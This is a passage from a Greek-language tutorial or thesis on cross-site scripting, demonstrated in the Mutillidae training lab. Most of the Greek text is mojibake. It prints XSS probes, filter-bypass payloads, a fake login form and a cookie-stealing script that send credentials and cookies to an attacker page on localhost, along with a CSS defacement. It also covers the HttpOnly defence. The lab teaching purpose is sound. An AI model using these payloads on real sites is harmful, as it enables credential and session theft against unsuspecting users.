Μηα επίζεζε XSS επηρεηξεί λα εηζαγάγεη θαθφβνπιν θψδηθα (ζπλήζσο JavaScript) ζε ηηκέο 

κεηαβιεηψλ, πνπ ζηε ζπλέρεηα εκθαλίδνληαη ζηελ ηζηνζειίδα. Απηφο ν θαθφβνπινο θψδηθαο 

επηρεηξεί λα εθκεηαιιεπηεί ηελ εκπηζηνζχλε ησλ ρξεζηψλ ζε κηα ζπγθεθξηκέλε ηζηνζειίδα, 

μεγειψληαο απηνχο (ή ηνπ πξφγξακκα πεξηήγεζεο ηνπο), ψζηε λα πξνβνχλ ζε εθηέιεζε θάπνηαο 

ελέξγεηαο ή λα ππνβάινπλ πιεξνθνξίεο ζε κηα άιιε κε αμηφπηζηε ηζηνζειίδα ελ αγλνία ηνπο. Οη 

επηζέζεηο XSS κπνξνχλ λα ρσξηζηνχλ ζε δύν κεγάιεο θαηεγνξίεο: 

 Reflected: Δίλαη νη επηζέζεηο πνπ ν θαθφβνπινο θώδηθαο «αληαλαθιάηαη» απφ ηνλ web 

server σο θάπνην κήλπκα ιάζνπο, απνηέιεζκα αλαδήηεζεο ή αθφκα θαη σο θαλνληθή 

απάληεζε ζε απξφζκελε είζνδν. 

 Stored: Δίλαη νη επηζέζεηο πνπ ν θαθφβνπινο θώδηθαο παξακέλεη κόληκα 

απνζεθεπκέλνο ζηνλ server ζηφρν. 

Σε απηφ ην θεθάιαην, αθνχ πξψηα εμεξεπλήζνπκε βαζηθέο κεζφδνπο δηελέξγεηαο XSS 

επηζέζεσλ, φπσο απηέο παξνπζηάδνληαη ζην πεξηβάιινλ Mutillidae, ζηε ζπλέρεηα ζα δνχκε 

ζπγθεθξηκέλα πξάγκαηα πνπ σο πξνγξακκαηηζηέο PHP, κπνξνχκε λα θάλνπκε ψζηε λα 

απνηξέςνπκε ηελ εηζβνιή XSS θψδηθα ζηηο εθαξκνγέο καο. 
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3.3.1 Πσο γίλεηαη ε αλίρλεπζε ηεο εππάζεηαο 

Οη Cross-site scripting επηζέζεηο, ζπλήζσο πεξηιακβάλνπλ πεξηζζφηεξεο απφ κηα ηζηνζειίδεο (εμ 

νπ θαη ε νλνκαζία cross-site), θαη πξνυπνζέηνπλ ηελ ρξήζε θάπνηνπ είδνπο scripting. Μηα 

βαζηθή πξνζέγγηζε γηα αλίρλεπζε XSS εππαζεηώλ, είλαη ε ρξήζε ελφο script, ην νπνίν ζα 

είλαη ηθαλφ λα απνδείμεη ηελ χπαξμε ηεο εππάζεηαο. Έλα ηέηνην script ζα κπνξνχζε λα είλαη ην 

αθφινπζν: 

<script>alert(document.cookie)</script> 

 

Απηφ ην script ππνβάιιεηαη ζε θάζε παξάκεηξν θάζε ζειίδαο ηεο εθαξκνγήο (π.ρ. ζε θφξκεο) 

θαη παξαθνινπζνχκε ηελ έμνδν ηεο εθαξκνγήο γηα ηπρφλ ζθάικαηα ή αλ είκαζηε ηπρεξνί γηα 

ηελ εκθάληζε ηνπ παξαπάλσ θεηκέλνπ! Αλ ην θείκελν εκθαληζηή αθέξαην, ηφηε είκαζηε 

ζίγνπξνη? φηη ε εθαξκνγή είλαη επάισηε ζε XSS επηζέζεηο. Πεξηζζφηεξα script κπνξνχκε λα 

βξνχκε ζηελ δηεχζπλζε: http://ha.ckers.org/xss.html . 

Αλ ε πξφζεζε καο είλαη λα επηβεβαηώζνπκε ηελ ύπαξμε κηαο εππάζεηαο XSS ζηελ 

εθαξκνγή , ην ζπληνκφηεξν δπλαηφλ, πξνθεηκέλνπ λα εμαπνιχζνπκε κία λέα επίζεζε ελάληηα 

ζε άιινπο ρξήζηεο ηεο εθαξκνγήο, ηφηε απηή ε βαζηθή πξνζέγγηζε είλαη ίζσο θαη ε πην 

απνηειεζκαηηθή, θαζψο πξνθαιεί ειάρηζηα ςεπδψο ζεηηθά απνηειέζκαηα.  

Ωζηφζν, αλ ζηφρνο καο είλαη ε εθηελήο εμέηαζε ηεο εθαξκνγήο, κε ζθνπφ ηνλ εληνπηζκφ φζν 

πεξηζζφηεξσλ ηξσηψλ ζεκείσλ γίλεηαη, ηφηε ε βαζηθή πξνζέγγηζε πξέπεη λα ζπκπιεξσζεί κε 

πην εμειηγκέλεο ηερληθέο. Υπάξρνπλ αξθεηνί δηαθνξεηηθνί ηξφπνη κε ηνπο νπνίνπο νη εππάζεηεο  

XSS κπνξεί λα ππάξρνπλ κέζα ζε κηα εθαξκνγή, θάηη ην νπνίν θαζηζηά δχζθνιε ηελ αλίρλεπζε 

ηνπο κε ηελ βαζηθή πξνζέγγηζε πνπ πξναλαθέξακε. 

Πνιιέο εθαξκνγέο εθαξκφδνπλ ηερληθέο καχξεο ιίζηαο  κε θίιηξα (blacklist-based filters) ζε 

κηα πξνζπάζεηα λα απνηξέςνπλ ηηο επηζέζεηο XSS. Τα θίιηξα απηά, ζπλήζσο αλαδεηνχλ 

εθθξάζεηο φπσο “<script>” ζηηο παξακέηξνπο ηεο αίηεζεο θαη ιακβάλνπλ θάπνηα ακπληηθή 

δξάζε, φπσο ε αθαίξεζε ή ε θσδηθνπνίεζε ηεο έθθξαζεο, ή αθφκα θαη ην κπινθάξηζκα ηεο 

αίηεζεο εμ νινθιήξνπ. Οη εληνιέο πνπ ρξεζηκνπνηνχληαη ζε απηή ηε βαζηθή κέζνδν αλίρλεπζεο, 

ζπλήζσο «κπινθάξνληαη» απφ ηα παξαπάλσ θίιηξα (γλσζηά θαη σο text filters). Ωζηφζν, ην 

γεγνλφο όηη κία απιή επίζεζε δελ είρε απνηέιεζκα, δελ απνδεηθλύεη όηη δελ ππάξρεη  

θάπνηα εθκεηαιιεύζηκε εππάζεηα . 

΋πσο ζα δνχκε θαη ζηελ ζπλέρεηα, ππάξρνπλ πεξηπηψζεηο φπνπ κπνξεί λα ππάξμεη κηα 

απνηειεζκαηηθή επίζεζε XSS, ρσξίο ηελ ρξήζε εηηθεηψλ “<script>” ή αθφκα θαη ραξαθηήξσλ 

πνπ ζπρλά απνθιείνληαη, φπσο “<”, “>” θαη “/”.  

 

 

 

 

 

 

http://ha.ckers.org/xss.html
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Τα XSS θίιηξα πνπ πινπνηνχληαη ζην πιαίζην πνιιψλ δηαδηθηπαθψλ εθαξκνγψλ είλαη ζε 

πνιιέο πεξηπηψζεηο ειαηησκαηηθά θαη κπνξνχλ  λα παξαθακθζνχλ κε δηάθνξα κέζα. Γηα 

παξάδεηγκα, αο ππνζέζνπκε πσο κία εθαξκνγή αθαηξεί φιεο ηηο εηηθέηεο “<script>” απφ ην 

θείκελν πνπ ππνβάιεη ν ρξήζηεο σο είζνδν, απηφ ζεκαίλεη φηη ε είζνδνο δελ ζα επηζηξέςεη ζηνλ 

ρξήζηε αθέξαηα. Ωζηφζν, κπνξεί κία ή πεξηζζφηεξεο απφ ηηο παξαθάησ ζπκβνινζεηξέο λα 

παξαθάκςνπλ ην θίιηξν έιεγρνπ θαη λα νδεγήζνπλ ζε κηα επηηπρεκέλε XSS επίζεζε: 

 

  <script >alert(document.cookie)</script > 

  <ScRiPt>alert(document.cookie)</ScRiPt> 

  %3cscript%3ealert(document.cookie)%3c/script%3e 

  <scr<script>ipt>alert(document.cookie)</scr</script>ipt> 

 

Παξαηήξεζε: Κάπνηεο θνξέο ε είζνδνο πνπ δίλνπκε ζηελ εθαξκνγή κπνξεί λα αιιάμεη 

(θαζαξηζηεί, θσδηθνπνηεζεί) πξηλ επηζηξαθεί σο απάληεζε ηνπ server θαη πάξαπηα λα 

εμαθνινπζεί λα είλαη επαξθήο γηα ηελ αμηνπνίεζε κηαο XSS εππάζεηαο. Σε απηήλ ηελ πεξίπησζε, 

θακία πξνζέγγηζε αλίρλεπζεο XSS εππαζεηψλ, πνπ βαζίδεηαη ζηελ ππνβνιή ζπγθεθξηκέλνπ 

θεηκέλνπ θαη ηελ παξαθνινχζεζε ηεο αληίδξαζεο ηεο εθαξκνγήο, είλαη ζε ζέζε (απφ κφλε ηεο) 

λα αλαθαιχςεη κία εππάζεηα. 

 

 

 

Δηθόλα 3.16 Δππάζεηεο ηύπνπ XSS ζην Mutillidae 
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Αθφκα γηα ηελ αλίρλεπζε επηζέζεσλ ηχπνπ reflected XSS, κπνξεί λα γίλεη ρξήζε ηνπ πξνζζέηνπ 

XSS-Me ηνπ Mozilla Firefox. Δίλαη έλα εξγαιείν αλίρλεπζεο θαη εθκεηάιιεπζεο (Exploit-Me 

tool) πνπ ρξεζηκνπνηείηαη γηα ηνλ έιεγρν δηαδηθηπαθψλ εθαξκνγψλ.  

 

 

Δηθόλα 3.17 Δπίδεημε XSS-ME ζην πεξηβάιινλ Mutillidae. 
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3.3.2 Τερληθέο εθκεηάιιεπζεο ηεο εππάζεηαο 

΋πσο αλαθέξακε θαη λσξίηεξα, εππάζεηεο ηχπνπ XSS εκθαλίδνληαη φηαλ κηα εθαξκνγή δέρεηαη 

κε αμηφπηζηα δεδνκέλα σο είζνδν θαη ελ ζπλερεία ηα απνζηέιιεη ζε έλα web browser ρσξίο ηελ 

θαηάιιειε επηθχξσζε θαη επεμεξγαζία. Μία εππάζεηα XSS, επηηξέπεη ζηνπο επηηηζέκελνπο λα 

εθηειέζνπλ scripts ζην πξφγξακκα πεξηήγεζεο ηνπ ζχκαηνο, ηα νπνία κπνξεί λα θιέςνπλ 

δεδνκέλα απφ ηηο ζπλφδνπο ηνπ ρξήζηε (session hijacking), λα παξακνξθψλνπλ ηζηνζειίδεο 

(Website defacement) θηι. Τέηνηνπ είδνπο εππάζεηεο είλαη πην δχζθνιν λα αληρλεπηνχλ αλ 

επηρεηξήζνπκε αλίρλεπζε κέζσ δνθηκψλ, εηδηθά αλ ε εθαξκνγή πνπ δέρεηαη ηελ επίζεζε 

ρξεζηκνπνηεί ακπληηθνχο κεραληζκνχο φπσο θίιηξα θεηκέλνπ (text filters) θ.α.  

Σε απηφ ην ζεκείν, ζα δνχκε θαηά ζεηξά ηηο εππάζεηεο ηεο θαηεγνξίαο “A2 – Cross Site 

Scripting (XSS)”, φπσο απηέο παξνπζηάδνληαη ζην πεξηβάιινλ Mutillidae.  

 

Παξαηήξεζε: Σε νξηζκέλα script πνπ ζα εηζάγνπκε ελδέρεηαη ην θείκελν λα είλαη θαηά κία 

έλλνηα θσδηθνπνηεκέλν , πξνθεηκέλνπ λα παξαθάκςνπκε ηνλ έιεγρν (αλ γίλεηαη). 

Παξαδείγκαηνο ράξε νη ραξαθηήξεο “>”θαη “<”,  κπνξεί λα γξαθνχλ ζηελ 

δεθαεμαδηθή ηνπο κνξθή  σο “3E” θαη “3C” αληίζηνηρα.  Γηα πεξηζζφηεξεο πιεξνθνξίεο 

αλαηξέμηε ζηηο παξαθάησ δηεπζχλζεηο: 

 http://www.asciitable.com/ 

 http://ha.ckers.org/xss.html#XSScalc 

 

 

1. A2 – Cross Site Scripting (XSS)  Via "Input" (GET/POST) Add to your blog 

΋πσο θαίλεηαη ζε απηή ηελ θαηεγνξία ζα ζπλαληήζνπκε απεηιέο ηχπνπ “ Cross Site Scripting” 

θαη φπσο έρνπκε αλαθέξεη ζην Mutillidae γίλεηαη ρξήζε ηεο γιψζζαο PHP, νπφηε ζα δνχκε 

επηζέζεηο πνπ πεξηιακβάλνπλ ζηνηρεία ηεο γιψζζαο PHP. Γηα πεξηζζφηεξεο πιεξνθνξίεο 

ζρεηηθά κε ηα scripts πνπ ρξεζηκνπνηνχληαη, παξαθαιψ αλαηξέμηε ζην Κεθάιαην «5.1 

Παξάξηεκα Πεγαίνπ Κψδηθα», φπνπ ππάξρεη ν θψδηθαο κε ζρφιηα θαη επεμήγεζε.  

Αλ παξφια απηά δπζθνιεχεζηε λα αθνινπζήζεηε ηελ ινγηθή απηψλ ησλ PHP Scripts, ηφηε 

πξνηείλεηαη λα επηζθεθηείηε ηνπο αθφινπζνπο ηζηφηνπνπο: 

  http://www.w3schools.com/php/default.asp 

  http://www.php-learn-it.com 

 

 

 

 

 

 

http://www.asciitable.com/
http://ha.ckers.org/xss.html#XSScalc
http://www.w3schools.com/php/default.asp
http://www.php-learn-it.com/
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Έρνληαο θαηά λνπ φζα έρνπλ αλαθεξζεί, απνθαζίζακε λα μεθηλήζνπκε ηελ πινπνίεζε απεηιψλ 

ζε απηή ηελ θαηεγνξία κε ην παξαθάησ script, πνπ αλ θαη ιίγν πνιχπινθν είλαη ην πιένλ 

αληηπξνζσπεπηηθφ γηα ηελ επίδεημε απεηιψλ ηχπνπ XSS. Με ην παξαθάησ Script δεκηνπξγνχκε 

κηα θφξκα “Login” ε νπνία αθνινπζεί ηα πξφηππα ζρεδίαζεο ηεο ηζηνζειίδαο πνπ δέρεηαη ηελ 

επίζεζε καο θαη θηινδνμνχκε λα «μεγειάζνπκε» ηνλ ρξήζηε (πνπ ζα επηζθεθηεί ηελ ζειίδα πνπ 

έρνπκε εηζάγεη ηνλ θψδηθα καο) ψζηε λα εηζάγεη ηα ζηνηρεία απζεληηθνπνίεζεο ηνπ (π.ρ. 

Username θαη Password). Σηελ ζπλέρεηα απνζηέιινπκε απηά ηα ζηνηρεία ζε κία άιιε δηεχζπλζε 

(Υινπνίεζε Stored Cross Site Scripting). 

Μεηαβαίλνληαο ζηελ θαηεγνξία “A2 – Cross Site Scripting (XSS)  Via "Input" (GET/POST) 

Add to your blog”, ζα εηζάγνπκε ηνλ αθφινπζν θψδηθα: 

 
<div id="mydiv" style=" position:absolute; background-color:#ccccff; 

width:30%; z-index:2; left:40%; top:40%;"> 

<p align="center">Limited Access. You must Login in order to continue.</p> 

 

<form name="form" action="" method="post"> 

 <p align="center"> 

  Username: <input type="text" name="usern" size="30"/><br /><br /> 

  Password: <input type="password" name="pass" size="30"/><br /> 

 </p> 

 

 <p align="center"> 

  <input type="submit" value="Submit" onClick="submitdata();" /> 

 </p> 

</form>  

</div> 

 

<script> 

function submitdata() { 

 document.getElementById("mydiv").style.display = "none"; 

 postvars = "username=" + document.form.usern.value + "&password=" + 

document.form.pass.value; 

  var iframe = document.createElement(\"iframe\"); 

  iframe.src = ("http://localhost/hackersite/catch.php?" + 

postvars); 

  document.body.appendChild(iframe); 

  alert("iframe.src" + iframe.src); 

} 

</script> 
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Δηθόλα 3.18 Δηζαγσγή θώδηθα XSS. 

 

Αθνχ εηζάγνπκε ηνλ θψδηθα, κεηαβαίλνπκε ζηελ θαηεγνξία  “A2 – Cross Site Scripting (XSS) 

 Via "Input" (GET/POST)  View someone's blog” θαη παξαηεξνχκε φηη εκθαλίδεηαη κία 

θφξκα πνπ δεηάεη ηα ζηνηρεία καο, πξνθεηκέλνπ λα δηαβάζνπκε ην blog. Ωο «αλππνςίαζηνη» 

ρξήζηεο ηα εηζάγνπκε… 

 

 

Δηθόλα 3.19 Δηζαγσγή ζηνηρείσλ απζεληηθνπνίεζεο (Username: etsaimos, Password: 123456) 
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Αλ φια πήγαλ θαιά, βάζε ηνπ θψδηθα πνπ εηζάγακε, ζα πξέπεη λα έρνπλ ζηαιεί ηα ζηνηρεία ηνπ 

ρξήζηε ζηελ δηεχζπλζε πνπ δειψζακε ζην script: 

 … 

 iframe.src= ("http://localhost/hackersite/catch.php?" + postvars); 

 … 

Μεηαβαίλνπκε ζηελ ζειίδα πνπ δειψζακε πξνθεηκέλνπ λα δνχκε αλ ε επίζεζε εθηειέζηεθε κε 

επηηπρία θαη πξαγκαηηθά φια θχιηζαλ νκαιά (ηνπιάρηζηνλ γηα εκάο!). 

 

 

 

Δηθόλα 3.20 Κιεκκέλα ζηνηρεία ρξεζηώλ (Ιζηνζειίδα επηηηζέκελνπ). 

 

Απφ ην script πνπ εηζάγακε δηαθαίλεηαη φηη ηα ζηνηρεία «δηαρεηξίδνληαη» απφ ην PHP Script κε 

φλνκα “ catch.php ”, ην νπνίν γξάθεη ζην αξρείν “caughtdata.txt”, εμ νπ θαη ε δηεχζπλζε: 

http://localhost/hackersite/caughtdata.txt 

 

 

http://localhost/hackersite/caughtdata.txt
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Παξαηήξεζε Νν1: Ο ιφγνο πνπ ρξεζηκνπνηνχκε tags φπσο “<img>”, “<iframe>” θαη 

“<object>” είλαη επεηδή πεξηέρνπλ θάπνην ππνρξεσηηθφ πεδίν “Source” ην νπνίν νπζηαζηηθά 

ρξεζηκνπνηνχκε γηα λα θάλνπκε “Link” κεηαμχ ηεο ζειίδαο ζχκα θαη ηεο ζειίδαο καο. 

Παξαηήξεζε Νν2: Έγηλε ηαπηφρξνλε πξνζπέιαζε ησλ θαηεγνξηψλ “Add to your blog” θαη 

“View someone's blog”, γηα ιφγνπο θαιχηεξεο θαηαλφεζεο θαη πινπνίεζεο ηεο επίζεζεο. 

 

Κηλνχκελνη ζην ίδην κνηίβν, ζα αζρνιεζνχκε κε κία άιιε κεγάιε θαηεγνξία φπνπ κπνξνχλ λα 

εθαξκνζηνχλ XSS επηζέζεηο, ηα cookies. Τη είλαη φκσο ηα cookies θαη ζε ηη ρξεζηκεχνπλ;  

Τα Cookies είλαη κηθξά «αξρεία» πνπ εγθαζίζηαληαη ζην ζθιεξφ δίζθν ηνπ ππνινγηζηή καο, 

φηαλ επηζθεπηφκαζηε δηαδηθηπαθέο ηνπνζεζίεο (ζπλήζσο) γηα πξψηε θνξά θαη πεξηέρνπλ 

πιεξνθνξίεο ηηο νπνίεο ρξεζηκνπνηνχλ νη ηζηνζειίδεο γηα ηελ αλαγλψξηζή καο. Δπηπιέσλ, νη 

ηνπνζεζίεο Web ρξεζηκνπνηνχλ ηα cookies γηα λα παξέρνπλ κηα εμαηνκηθεπκέλε εκπεηξία ζηνπο 

ρξήζηεο θαη γηα ηε ζπιινγή πιεξνθνξηψλ ζρεηηθά κε ηε ρξήζε ηνπνζεζηψλ Web. Πνιιέο 

ηνπνζεζίεο Web ρξεζηκνπνηνχλ cookies γηα ηελ απνζήθεπζε πιεξνθνξηψλ πνπ παξέρνπλ κηα 

μερσξηζηή ιεηηνπξγία αλά ρξήζηε ζηηο δηαθνξεηηθέο ελφηεηεο ηεο ηνπνζεζίαο, φπσο ην θαιάζη 

αγνξψλ. Σε κηα αμηφπηζηε ηνπνζεζία Web ηα cookies κπνξνχλ λα εκπινπηίζνπλ ηελ εκπεηξία 

πεξηήγεζεο καο επηηξέπνληαο ζηελ ηνπνζεζία λα εληνπίδεη ηηο πξνηηκήζεηο καο ή επηηξέπνληάο 

καο λα παξαιείπνπκε ηε δηαδηθαζία ζχλδεζεο θάζε θνξά πνπ επηζθέπηεζηε ηελ ζπγθεθξηκέλε 

Web ηνπνζεζία. Ωζηφζν, νξηζκέλα cookies, φπσο απηά ηα νπνία απνζεθεχνληαη απφ 

δηαθεκηζηηθά πιαίζηα, ελδέρεηαη λα εθζέζνπλ ζε θίλδπλν ην ηδηωηηθό καο απόξξεην  

παξαθνινπζψληαο ηηο ηνπνζεζίεο ηηο νπνίεο επηζθεπηφκαζηε. 

Μεηαβαίλνληαο ζηελ θαηεγνξία “A2 – Cross Site Scripting (XSS)  Via "Input" (GET/POST) 

Add to your blog”, ζα εηζάγνπκε ηνλ αθφινπζν θψδηθα: 

<script> 

  var iframe = document.createElement(\"iframe\"); 

  var link = encodeURI(document.cookie); 

  iframe.src = ("http://localhost/hackersite/catchcookie.php?" + link); 

  document.body.appendChild(iframe); 

</script> 

Αθνχ εηζάγνπκε ησλ θψδηθα δελ παξαηεξνύκε θάηη. Αξρηθά, θάλνπκε Login ζην ζχζηεκα κε 

ζηνηρεία: Username: etsaimos Password: 123456 θαη έπεηηα κεηαβαίλνπκε ζηελ θαηεγνξία “A2 

– Cross Site Scripting (XSS)  Via "Input" (GET/POST)  View someone's blog” θαη αθνύ 

επηιέμνπκε “Show All”, παξαηεξνχκε φηη παξνπζηάδεηαη κία δεκνζίεπζε απφ αλψλπκν ρξήζηε 

ρσξίο πεξηερφκελν;. 
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Δηθόλα 3.21 Κιέςηκν cookie από ρξήζηε κνιπζκέλεο ηζηνζειίδαο. 

 

Οπζηαζηηθά ε επίζεζε έρεη πξαγκαηνπνηεζεί (ελ αγλνία ηνπ ζχκαηνο) θαη εκείο έρνπκε πιένλ ηα 

ζηνηρεία ηνπ πξνζσπηθνύ ηνπ cookie. Τελ επηθηλδπλφηεηα ηεο «δεκνζηνπνίεζεο» ησλ 

ζηνηρείσλ απηψλ ζα ηελ δνχκε ζην θεθάιαην 3.4. 

 

Δηθόλα 3.22 Κιεκκέλα Cookies ρξεζηώλ (Ιζηνζειίδα επηηηζέκελνπ). 
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Αο δνχκε ηη πιεξνθνξίεο κπνξεί λα καο  πξνζθέξεη ν πεξηεγεηήο Firefox ζρεηηθά κε ηα cookie. 

Γηα λα δνχκε ηα cookie ζηνλ Mozilla Firefox (γηα Windows) αθνινπζνχκε ηα εμήο βήκαηα:  

1. Κάλνπκε θιηθ ζην κελνχ Δξγαιεία > Δπηινγέο. 

2. Κάλνπκε θιηθ ζηελ επηινγή Απόξξεην ζην επάλσ πιαίζην. 

3. Δπηιέγνπκε ην θνπκπί «Πξνβνιή Cookies..». 

4. Πινεγνχκαζηε ζην παξάζπξν πνπ αλνίγεη γηα πεξηζζφηεξα ζηνηρεία. 

 

 

Δηθόλα 3.23 Cookies ζηνλ πεξηεγεηή Mozilla Firefox. 
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2. A2 – Cross Site Scripting (XSS)Via "Input" (GET/POST) Text File Viewer 

Σε απηή ηε θαηεγνξία ζα εθκεηαιιεπηνχκε εππάζεηεο  πνπ πξνθχπηνπλ απφ ηελ ελζπιάθσζε 

ζηνηρείσλ ζηελ ηζηνζειίδα καο (φπσο θείκελα. videos θηι) απφ ηξίηα site. Απηνχ ηνπ ηχπνπ νη 

απεηιέο αλαθέξνληαη ζηελ παξακεηξνπνίεζε ησλ ζηνηρείσλ κηαο κεζφδνπ GET/POST, κε ζθνπφ 

λα επλνεζεί ν επηηηζέκελνο. Γηα λα αιιάμνπκε ηα δεδνκέλα απφ αηηήκαηα GET/POST ζα 

ρξεζηκνπνηήζνπκε ην εξγαιείν “Tamper Data” (Βιέπε θεθάιαην 2.3). 

Πξνθεηκέλνπ λα πινπνηήζνπκε ηε ζπγθεθξηκέλε επίζεζε, αθνινπζνχκε θαηά ζεηξά ηα 

παξαθάησ βήκαηα: 

1. Μεηαβαίλνπκε ζηελ θαηεγνξία A2 – Cross Site Scripting (XSS)  Via "Input" 

(GET/POST)   Text File Viewer. 

2. Σηνλ Firefox, απφ ηελ εξγαιεηνζήθε κελνχ επηιέγνπκε: Δξγαιεία  Tamper Data. 

3. Σην παξάζπξν πνπ αλνίγεη επηιέγνπκε “Start Tamper”. 

4. Δπηζηξέθνπκε ζηελ ζειίδα ηνπ βήκαηνο 1. θαη παηάκε ην θνπκπί “View File”. 

5. Σην παξαζπξάθη πνπ αλνίγεη επηιέγνπκε “Tamper”. 

6. Σην παξάζπξν πνπ αλνίγεη αληηθαζηζηνχκε ην πεξηερφκελν ηνπ πεδίνπ “textfile” κε ην 

εμήο link: http://localhost/hackersite/myevilscript.txt , θαη έπεηηα παηάκε “OK”. 

7. Δπηζηξέθνπκε ζηελ ζειίδα ηνπ βήκαηνο 1. γηα λα δνχκε ην απνηέιεζκα! 

 

 

Δηθόλα 3.24 Κύξηα βήκαηα πινπνίεζεο επίζεζεο κε ηελ ρξήζε ηνπ "Tamper Data". 
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Δηθόλα 3.25 Παξακεηξνπνίεζε ζηνηρείσλ κε ην εξγαιείν "Tamper Data". 

 

 

Δηθόλα 3.26 Απνηέιεζκα επίζεζεο κε πεγή ην αξρείν "myevilscript.txt" . 

 

Παξαηήξεζε: Τν πεξηερφκελν ηνπ αξρείνπ “myevilscript.txt”, δελ είλαη ηίπνηα παξαπάλσ απφ 

ηελ ελζσκάησζε θψδηθα ελφο video απφ ηελ ηζηνζειίδα “www.youtube.com”. Γηα πεξηζζφηεξεο 

πιεξνθνξίεο αλαηξέμηε ζην θεθάιαην “5.1 Παξάξηεκα Πεγαίνπ Κψδηθα”. 
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3. A2 – Cross Site Scripting (XSS)  Via "Input" (GET/POST) Set Background Color 

 

Σε απηή ηε θαηεγνξία ζα ζπλαληήζνπκε απεηιέο πνπ πξνθχπηνπλ απφ ηελ ρξήζε θώδηθα CSS. 

Πην ζπγθεθξηκέλα ζα πινπνηήζνπκε κία επίζεζε ηχπνπ “Reflected XSS” κε ηελ νπνία ζα 

αιιάμνπκε κε δφιην ηξφπν ην background ηεο ζειίδαο, πξνθαιψληαο θαη κία κηθξνχ βαζκνχ 

παξακόξθσζε ζηελ εκθάληζε ηεο ηζηνζειίδαο! 

Μεηαβαίλνπκε ζηελ θαηεγνξία “A2 – Cross Site Scripting (XSS)  Via "Input" (GET/POST) 

Set Background Color” θαη δίλνπκε σο είζνδν ζην πεδίν “Background Color” ηνλ παξαθάησ 

θψδηθα: 

; background-image:url('http://hackerrobot4546fansite.webs.com/photos/Hacked/Hack%201.jpg'); 

 

Έηζη επηηπγράλνπκε ην αθφινπζν απνηέιεζκα: 

 

 

 

Δηθόλα 3.27 Παξάδεηγκα XSS κε ρξήζε CSS θώδηθα. 

 

Παξαηήξεζε: Θα κπνξνχζακε λα εηζάγνπκε έλα πνιχ πην πνιχπινθν θψδηθα CSS, αιιά ην 

δεηνχκελν είλαη ε αλάδεημε ηεο εππάζεηαο. Αθήλεηαη ινηπφλ ζηνλ αλαγλψζηε ε πεξαηηέξσ 

ελαζρφιεζε κε ηελ ελ ιφγν εππάζεηα. Γηα πεξηζζφηεξεο πιεξνθνξίεο ζρεηηθά κε ην CSS, 

αλαηξέμηε ζην εμήο ζχλδεζκν: http://www.w3schools.com/css/default.asp 

 

 

http://www.w3schools.com/css/default.asp
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4. A2 – Cross Site Scripting (XSS) Via Misconfiguration Missing HTTPOnly Attribute  

Σε απηή ηελ ελφηεηα ζα ζπδεηήζνπκε γηα ηηο εππάζεηεο πνπ πξνθχπηνπλ απφ ηελ ιαλζαζκέλε 

ρξήζε ηνπ flag HttpOnly. Τν HttpOnly είλαη έλα πξφζζεην flag πνπ πεξηιακβάλεηαη ζηελ 

θεθαιίδα απφθξηζεο Set-Cookie ηνπ πξσηνθφιινπ HTTP. Η ρξήζε ηνπ HttpOnly flag θαηά ηε 

δεκηνπξγία ελφο cookie, κεηψλεη ζεκαληηθά ηνλ θίλδπλν πξφζβαζεο ελφο client side script ζην 

πξνζηαηεπφκελν cookie. Αλ ην flag HttpOnly ζπκπεξηιακβάλεηαη ζηελ θεθαιίδα 

απόθξηζεο HTTP (HTTP response header), ην cookie δελ κπνξεί λα δηαβαζηεί  

από client side scripts . Ωο απνηέιεζκα, έζησ θαη αλ ππάξρεη θάπνηα XSS εππάζεηα θαη θαηά 

ιάζνο θάπνηνο ρξήζηεο επηζπεπηεί έλα ζχλδεζκν πνπ εθκεηαιιεχεηαη απηή ηελ εππάζεηα, ν 

πεξηεγεηήο δελ ζα απνθαιχςεη ηα ζηνηρεία ηνπ cookie ζε θάπνηνλ ηξίην.  

Γηα λα δνχκε ινηπφλ πσο νξίδεηαη κε ηελ ρξήζε ηεο γιψζζαο PHP ην HttpOnly flag ζε έλα 

cookie (ε PHP ππνζηεξίδεη ηνλ θαζνξηζκφ HttpOnly flag απφ ηελ έθδνζε 5.2 θαη κεηά); Γηα  

session cookies πνπ δηαρεηξίδνληαη απφ ηελ PHP, ην flag θαζνξίδεηαη κφληκα ζην αξρείν php.ini 

κέζσ ηεο παξακέηξνπ: 

session.cookie_httponly = True ή session.cookie_httponly = False 

ή θαζνξίδεηαη δπλακηθά κέζα ζε έλα PHP Script σο εμήο: 

void session_set_cookie_params  ( int $lifetime  [, string $path  [, 

string $domain[, bool $secure= false  [, bool $httponly= false  ]]]] ) 

 

Γηα πεξηζζφηεξεο πιεξνθνξίεο ζρεηηθά κε ην HttpOnly flag θαη ηελ δηαρείξηζε ηνπ κε ηελ 

γιψζζα PHP, παξαθαιψ επηζθεθηείηε ηνπο εμήο ζπλδέζκνπο: 

 http://www.php.net/manual/en/session.configuration.php#ini.session.cookie-httponly 

 http://pl.php.net/manual/en/function.session-set-cookie-params.php 

 

Πξνθεηκέλνπ λα γίλνπλ πην θαηαλνεηά φια ηα παξαπάλσ, ζα ρξεζηκνπνηήζνπκε ην εξγαιείν 

“Live HTTP Headers” (Βιέπε θεθάιαην 2.3) θαη ζα πεξηεγεζνχκε ζην πεξηβάιινλ Mutillidae 

εμεηάδνληαο ηηο δηαθνξέο πνπ παξαηεξνχληαη ζηα δηαθνξεηηθά επίπεδα αζθάιεηαο πνπ 

παξέρεη. 
 

 

 

 

 

 

http://www.php.net/manual/en/session.configuration.php#ini.session.cookie-httponly
http://pl.php.net/manual/en/function.session-set-cookie-params.php
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Δπηπιένλ, γηα λα αλαδείμνπκε ηηο παξαπάλσ δηαθνξέο, αθνινπζνχκε πξνζεθηηθά ηελ παξαθάησ 

δηαδηθαζία: 

1. Μεηαβαίλνπκε ζηελ θαηεγνξία “A2 – Cross Site Scripting (XSS)  Via "Input" 

(GET/POST) Add to your blog” θαη πξνζζέηνπκε ην εμήο απιφ script: 

<script>alert(document.cookie);</script> 

2. Κάλνπκε Login ζην ζχζηεκα θαη ζηελ ζπλέρεηα κεηαβαίλνπκε ζηελ ζειίδα “ View 

someone's blog ”. 

3. Τν επίπεδν αζθαιείαο ηεο εθαξκνγήο είλαη κεδέλ (Security Level: 0 (Hosed)). 

4. Σηνλ Firefox, απφ ηελ εξγαιεηνζήθε κελνχ επηιέγνπκε: Δξγαιεία  Live HTTP 

Headers. 

5. Δπηιέγνπκε “Show All” θαη παηάκε ην πιήθηξν “View Blog Entries”. 

6. Πεηάγεηαη έλα alert box κε ηα ζηνηρεία ηνπ cookie καο & παξάιιεια γίλεηαη θαηαγξαθή 

ζηνηρείσλ απφ ην πξφγξακκα “Live HTTP Headers ”. 

